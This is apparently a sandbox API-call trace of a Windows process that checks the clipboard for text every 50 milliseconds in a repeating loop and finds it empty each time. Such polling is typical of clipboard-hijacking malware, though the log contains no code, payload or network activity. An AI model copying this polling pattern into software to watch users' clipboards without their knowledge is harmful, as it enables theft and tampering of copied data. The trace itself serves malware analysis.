[0258.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf52ecdf4, dwHighDateTime=0x1d96e12))
[0258.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.743] GetClipboardData (uFormat=0x1) returned 0x0
[0258.743] CloseClipboard () returned 1
[0258.743] Sleep (dwMilliseconds=0x32)
[0258.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5313050, dwHighDateTime=0x1d96e12))
[0258.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.757] GetClipboardData (uFormat=0x1) returned 0x0
[0258.758] CloseClipboard () returned 1
[0258.758] Sleep (dwMilliseconds=0x32)
[0258.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf533929c, dwHighDateTime=0x1d96e12))
[0258.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.773] GetClipboardData (uFormat=0x1) returned 0x0
[0258.773] CloseClipboard () returned 1
[0258.773] Sleep (dwMilliseconds=0x32)
[0258.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf535f508, dwHighDateTime=0x1d96e12))
[0258.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.790] GetClipboardData (uFormat=0x1) returned 0x0
[0258.790] CloseClipboard () returned 1
[0258.790] Sleep (dwMilliseconds=0x32)
[0258.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5385752, dwHighDateTime=0x1d96e12))
[0258.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.804] GetClipboardData (uFormat=0x1) returned 0x0
[0258.804] CloseClipboard () returned 1
[0258.805] Sleep (dwMilliseconds=0x32)
[0258.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf53ab9b4, dwHighDateTime=0x1d96e12))
[0258.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.821] GetClipboardData (uFormat=0x1) returned 0x0
[0258.821] CloseClipboard () returned 1
[0258.822] Sleep (dwMilliseconds=0x32)
[0258.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf53d1c0d, dwHighDateTime=0x1d96e12))
[0258.839] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.839] GetClipboardData (uFormat=0x1) returned 0x0
[0258.839] CloseClipboard () returned 1
[0258.840] Sleep (dwMilliseconds=0x32)
[0258.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf53f7e71, dwHighDateTime=0x1d96e12))
[0258.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.851] GetClipboardData (uFormat=0x1) returned 0x0
[0258.851] CloseClipboard () returned 1
[0258.851] Sleep (dwMilliseconds=0x32)
[0258.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf541e0bb, dwHighDateTime=0x1d96e12))
[0258.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.868] GetClipboardData (uFormat=0x1) returned 0x0
[0258.868] CloseClipboard () returned 1
[0258.868] Sleep (dwMilliseconds=0x32)
[0258.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5444311, dwHighDateTime=0x1d96e12))
[0258.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.883] GetClipboardData (uFormat=0x1) returned 0x0
[0258.883] CloseClipboard () returned 1
[0258.883] Sleep (dwMilliseconds=0x32)
[0258.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf546a57e, dwHighDateTime=0x1d96e12))
[0258.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.898] GetClipboardData (uFormat=0x1) returned 0x0
[0258.898] CloseClipboard () returned 1
[0258.898] Sleep (dwMilliseconds=0x32)
[0258.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf54907c8, dwHighDateTime=0x1d96e12))
[0258.914] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.914] GetClipboardData (uFormat=0x1) returned 0x0
[0258.914] CloseClipboard () returned 1
[0258.914] Sleep (dwMilliseconds=0x32)
[0258.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf54b6a1c, dwHighDateTime=0x1d96e12))
[0258.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.929] GetClipboardData (uFormat=0x1) returned 0x0
[0258.929] CloseClipboard () returned 1
[0258.929] Sleep (dwMilliseconds=0x32)
[0258.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf54dcc7c, dwHighDateTime=0x1d96e12))
[0258.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.945] GetClipboardData (uFormat=0x1) returned 0x0
[0258.945] CloseClipboard () returned 1
[0258.945] Sleep (dwMilliseconds=0x32)
[0258.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5502f15, dwHighDateTime=0x1d96e12))
[0258.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.961] GetClipboardData (uFormat=0x1) returned 0x0
[0258.961] CloseClipboard () returned 1
[0258.961] Sleep (dwMilliseconds=0x32)
[0258.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5529140, dwHighDateTime=0x1d96e12))
[0258.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.976] GetClipboardData (uFormat=0x1) returned 0x0
[0258.976] CloseClipboard () returned 1
[0258.976] Sleep (dwMilliseconds=0x32)
[0258.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf554f38b, dwHighDateTime=0x1d96e12))
[0258.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.992] GetClipboardData (uFormat=0x1) returned 0x0
[0258.992] CloseClipboard () returned 1
[0258.992] Sleep (dwMilliseconds=0x32)
[0259.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5575620, dwHighDateTime=0x1d96e12))
[0259.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.008] GetClipboardData (uFormat=0x1) returned 0x0
[0259.008] CloseClipboard () returned 1
[0259.008] Sleep (dwMilliseconds=0x32)
[0259.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf559b8a9, dwHighDateTime=0x1d96e12))
[0259.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.023] GetClipboardData (uFormat=0x1) returned 0x0
[0259.023] CloseClipboard () returned 1
[0259.023] Sleep (dwMilliseconds=0x32)
[0259.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf55c1aa4, dwHighDateTime=0x1d96e12))
[0259.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.039] GetClipboardData (uFormat=0x1) returned 0x0
[0259.039] CloseClipboard () returned 1
[0259.039] Sleep (dwMilliseconds=0x32)
[0259.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf55e7d09, dwHighDateTime=0x1d96e12))
[0259.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.055] GetClipboardData (uFormat=0x1) returned 0x0
[0259.055] CloseClipboard () returned 1
[0259.055] Sleep (dwMilliseconds=0x32)
[0259.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf560df63, dwHighDateTime=0x1d96e12))
[0259.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.070] GetClipboardData (uFormat=0x1) returned 0x0
[0259.070] CloseClipboard () returned 1
[0259.070] Sleep (dwMilliseconds=0x32)
[0259.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf56341d3, dwHighDateTime=0x1d96e12))
[0259.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.086] GetClipboardData (uFormat=0x1) returned 0x0
[0259.086] CloseClipboard () returned 1
[0259.086] Sleep (dwMilliseconds=0x32)
[0259.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf565a407, dwHighDateTime=0x1d96e12))
[0259.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.101] GetClipboardData (uFormat=0x1) returned 0x0
[0259.101] CloseClipboard () returned 1
[0259.101] Sleep (dwMilliseconds=0x32)
[0259.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf56806ff, dwHighDateTime=0x1d96e12))
[0259.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.117] GetClipboardData (uFormat=0x1) returned 0x0
[0259.117] CloseClipboard () returned 1
[0259.117] Sleep (dwMilliseconds=0x32)
[0259.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf56a693f, dwHighDateTime=0x1d96e12))
[0259.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.133] GetClipboardData (uFormat=0x1) returned 0x0
[0259.133] CloseClipboard () returned 1
[0259.133] Sleep (dwMilliseconds=0x32)
[0259.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf56ccba5, dwHighDateTime=0x1d96e12))
[0259.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.148] GetClipboardData (uFormat=0x1) returned 0x0
[0259.148] CloseClipboard () returned 1
[0259.148] Sleep (dwMilliseconds=0x32)
[0259.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf56f2db9, dwHighDateTime=0x1d96e12))
[0259.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.164] GetClipboardData (uFormat=0x1) returned 0x0
[0259.164] CloseClipboard () returned 1
[0259.164] Sleep (dwMilliseconds=0x32)
[0259.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5718fce, dwHighDateTime=0x1d96e12))
[0259.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.179] GetClipboardData (uFormat=0x1) returned 0x0
[0259.179] CloseClipboard () returned 1
[0259.180] Sleep (dwMilliseconds=0x32)
[0259.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf573f2c4, dwHighDateTime=0x1d96e12))
[0259.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.195] GetClipboardData (uFormat=0x1) returned 0x0
[0259.195] CloseClipboard () returned 1
[0259.195] Sleep (dwMilliseconds=0x32)
[0259.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf57654ec, dwHighDateTime=0x1d96e12))
[0259.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.211] GetClipboardData (uFormat=0x1) returned 0x0
[0259.211] CloseClipboard () returned 1
[0259.211] Sleep (dwMilliseconds=0x32)
[0259.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf578b6ed, dwHighDateTime=0x1d96e12))
[0259.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.226] GetClipboardData (uFormat=0x1) returned 0x0
[0259.226] CloseClipboard () returned 1
[0259.226] Sleep (dwMilliseconds=0x32)
[0259.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf57b19ce, dwHighDateTime=0x1d96e12))
[0259.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.242] GetClipboardData (uFormat=0x1) returned 0x0
[0259.242] CloseClipboard () returned 1
[0259.242] Sleep (dwMilliseconds=0x32)
[0259.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf57d7bf2, dwHighDateTime=0x1d96e12))
[0259.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.257] GetClipboardData (uFormat=0x1) returned 0x0
[0259.258] CloseClipboard () returned 1
[0259.258] Sleep (dwMilliseconds=0x32)
[0259.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf57fddee, dwHighDateTime=0x1d96e12))
[0259.274] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.274] GetClipboardData (uFormat=0x1) returned 0x0
[0259.274] CloseClipboard () returned 1
[0259.274] Sleep (dwMilliseconds=0x32)
[0259.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf58240f0, dwHighDateTime=0x1d96e12))
[0259.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.289] GetClipboardData (uFormat=0x1) returned 0x0
[0259.289] CloseClipboard () returned 1
[0259.289] Sleep (dwMilliseconds=0x32)
[0259.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf584a2d1, dwHighDateTime=0x1d96e12))
[0259.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.304] GetClipboardData (uFormat=0x1) returned 0x0
[0259.304] CloseClipboard () returned 1
[0259.305] Sleep (dwMilliseconds=0x32)
[0259.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5870596, dwHighDateTime=0x1d96e12))
[0259.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.320] GetClipboardData (uFormat=0x1) returned 0x0
[0259.320] CloseClipboard () returned 1
[0259.320] Sleep (dwMilliseconds=0x32)
[0259.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5896760, dwHighDateTime=0x1d96e12))
[0259.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.336] GetClipboardData (uFormat=0x1) returned 0x0
[0259.336] CloseClipboard () returned 1
[0259.336] Sleep (dwMilliseconds=0x32)
[0259.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf58bca21, dwHighDateTime=0x1d96e12))
[0259.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.351] GetClipboardData (uFormat=0x1) returned 0x0
[0259.351] CloseClipboard () returned 1
[0259.351] Sleep (dwMilliseconds=0x32)
[0259.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf58e2c5f, dwHighDateTime=0x1d96e12))
[0259.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.367] GetClipboardData (uFormat=0x1) returned 0x0
[0259.367] CloseClipboard () returned 1
[0259.367] Sleep (dwMilliseconds=0x32)
[0259.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf59096b5, dwHighDateTime=0x1d96e12))
[0259.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.383] GetClipboardData (uFormat=0x1) returned 0x0
[0259.383] CloseClipboard () returned 1
[0259.383] Sleep (dwMilliseconds=0x32)
[0259.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf592f08f, dwHighDateTime=0x1d96e12))
[0259.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.398] GetClipboardData (uFormat=0x1) returned 0x0
[0259.398] CloseClipboard () returned 1
[0259.398] Sleep (dwMilliseconds=0x32)
[0259.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf59552ea, dwHighDateTime=0x1d96e12))
[0259.414] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.414] GetClipboardData (uFormat=0x1) returned 0x0
[0259.414] CloseClipboard () returned 1
[0259.414] Sleep (dwMilliseconds=0x32)
[0259.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf597b54e, dwHighDateTime=0x1d96e12))
[0259.431] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.431] GetClipboardData (uFormat=0x1) returned 0x0
[0259.431] CloseClipboard () returned 1
[0259.432] Sleep (dwMilliseconds=0x32)
[0259.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf59a185a, dwHighDateTime=0x1d96e12))
[0259.445] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.445] GetClipboardData (uFormat=0x1) returned 0x0
[0259.445] CloseClipboard () returned 1
[0259.445] Sleep (dwMilliseconds=0x32)
[0259.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf59c79d8, dwHighDateTime=0x1d96e12))
[0259.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.461] GetClipboardData (uFormat=0x1) returned 0x0
[0259.461] CloseClipboard () returned 1
[0259.461] Sleep (dwMilliseconds=0x32)
[0259.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf59edc50, dwHighDateTime=0x1d96e12))
[0259.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.476] GetClipboardData (uFormat=0x1) returned 0x0
[0259.476] CloseClipboard () returned 1
[0259.476] Sleep (dwMilliseconds=0x32)
[0259.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5a13eac, dwHighDateTime=0x1d96e12))
[0259.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.494] GetClipboardData (uFormat=0x1) returned 0x0
[0259.494] CloseClipboard () returned 1
[0259.494] Sleep (dwMilliseconds=0x32)
[0259.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5a3a11b, dwHighDateTime=0x1d96e12))
[0259.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.507] GetClipboardData (uFormat=0x1) returned 0x0
[0259.508] CloseClipboard () returned 1
[0259.508] Sleep (dwMilliseconds=0x32)
[0259.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5a6035a, dwHighDateTime=0x1d96e12))
[0259.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.523] GetClipboardData (uFormat=0x1) returned 0x0
[0259.523] CloseClipboard () returned 1
[0259.523] Sleep (dwMilliseconds=0x32)
[0259.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5a865c6, dwHighDateTime=0x1d96e12))
[0259.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.540] GetClipboardData (uFormat=0x1) returned 0x0
[0259.540] CloseClipboard () returned 1
[0259.540] Sleep (dwMilliseconds=0x32)
[0259.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5aac817, dwHighDateTime=0x1d96e12))
[0259.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.554] GetClipboardData (uFormat=0x1) returned 0x0
[0259.554] CloseClipboard () returned 1
[0259.554] Sleep (dwMilliseconds=0x32)
[0259.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5ad2a6c, dwHighDateTime=0x1d96e12))
[0259.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.572] GetClipboardData (uFormat=0x1) returned 0x0
[0259.572] CloseClipboard () returned 1
[0259.572] Sleep (dwMilliseconds=0x32)
[0259.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5af8cd0, dwHighDateTime=0x1d96e12))
[0259.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.586] GetClipboardData (uFormat=0x1) returned 0x0
[0259.586] CloseClipboard () returned 1
[0259.586] Sleep (dwMilliseconds=0x32)
[0259.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5b1ef47, dwHighDateTime=0x1d96e12))
[0259.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.602] GetClipboardData (uFormat=0x1) returned 0x0
[0259.602] CloseClipboard () returned 1
[0259.602] Sleep (dwMilliseconds=0x32)
[0259.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5b451a7, dwHighDateTime=0x1d96e12))
[0259.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.618] GetClipboardData (uFormat=0x1) returned 0x0
[0259.618] CloseClipboard () returned 1
[0259.618] Sleep (dwMilliseconds=0x32)
[0259.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5b6b3fa, dwHighDateTime=0x1d96e12))
[0259.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.633] GetClipboardData (uFormat=0x1) returned 0x0
[0259.633] CloseClipboard () returned 1
[0259.633] Sleep (dwMilliseconds=0x32)
[0259.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5b9165f, dwHighDateTime=0x1d96e12))
[0259.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.648] GetClipboardData (uFormat=0x1) returned 0x0
[0259.648] CloseClipboard () returned 1
[0259.648] Sleep (dwMilliseconds=0x32)
[0259.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5bb78ad, dwHighDateTime=0x1d96e12))
[0259.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.670] GetClipboardData (uFormat=0x1) returned 0x0
[0259.670] CloseClipboard () returned 1
[0259.671] Sleep (dwMilliseconds=0x32)
[0259.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5bddb0e, dwHighDateTime=0x1d96e12))
[0259.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.679] GetClipboardData (uFormat=0x1) returned 0x0
[0259.679] CloseClipboard () returned 1
[0259.679] Sleep (dwMilliseconds=0x32)
[0259.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5c03d6d, dwHighDateTime=0x1d96e12))
[0259.697] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.697] GetClipboardData (uFormat=0x1) returned 0x0
[0259.697] CloseClipboard () returned 1
[0259.697] Sleep (dwMilliseconds=0x32)
[0259.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5c29fcc, dwHighDateTime=0x1d96e12))
[0259.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.711] GetClipboardData (uFormat=0x1) returned 0x0
[0259.711] CloseClipboard () returned 1
[0259.711] Sleep (dwMilliseconds=0x32)
[0259.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5c5020f, dwHighDateTime=0x1d96e12))
[0259.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.726] GetClipboardData (uFormat=0x1) returned 0x0
[0259.726] CloseClipboard () returned 1
[0259.726] Sleep (dwMilliseconds=0x32)
[0259.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5c76473, dwHighDateTime=0x1d96e12))
[0259.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.743] GetClipboardData (uFormat=0x1) returned 0x0
[0259.743] CloseClipboard () returned 1
[0259.743] Sleep (dwMilliseconds=0x32)
[0259.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5c9c6e3, dwHighDateTime=0x1d96e12))
[0259.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.758] GetClipboardData (uFormat=0x1) returned 0x0
[0259.758] CloseClipboard () returned 1
[0259.758] Sleep (dwMilliseconds=0x32)
[0259.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5cc2929, dwHighDateTime=0x1d96e12))
[0259.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.773] GetClipboardData (uFormat=0x1) returned 0x0
[0259.773] CloseClipboard () returned 1
[0259.773] Sleep (dwMilliseconds=0x32)
[0259.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5ce8b7e, dwHighDateTime=0x1d96e12))
[0259.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.790] GetClipboardData (uFormat=0x1) returned 0x0
[0259.790] CloseClipboard () returned 1
[0259.790] Sleep (dwMilliseconds=0x32)
[0259.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5d0edd6, dwHighDateTime=0x1d96e12))
[0259.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.804] GetClipboardData (uFormat=0x1) returned 0x0
[0259.804] CloseClipboard () returned 1
[0259.805] Sleep (dwMilliseconds=0x32)
[0259.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5d3503a, dwHighDateTime=0x1d96e12))
[0259.822] OpenClipboard (hWndNewOwner=0x0) returned 1
[0259.822] GetClipboardData (uFormat=0x1) returned 0x0
[0259.822] CloseClipboard () returned 1
[0259.822] Sleep (dwMilliseconds=0x32)
[0259.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5d5b29b, dwHighDateTime=0x1d96e12))
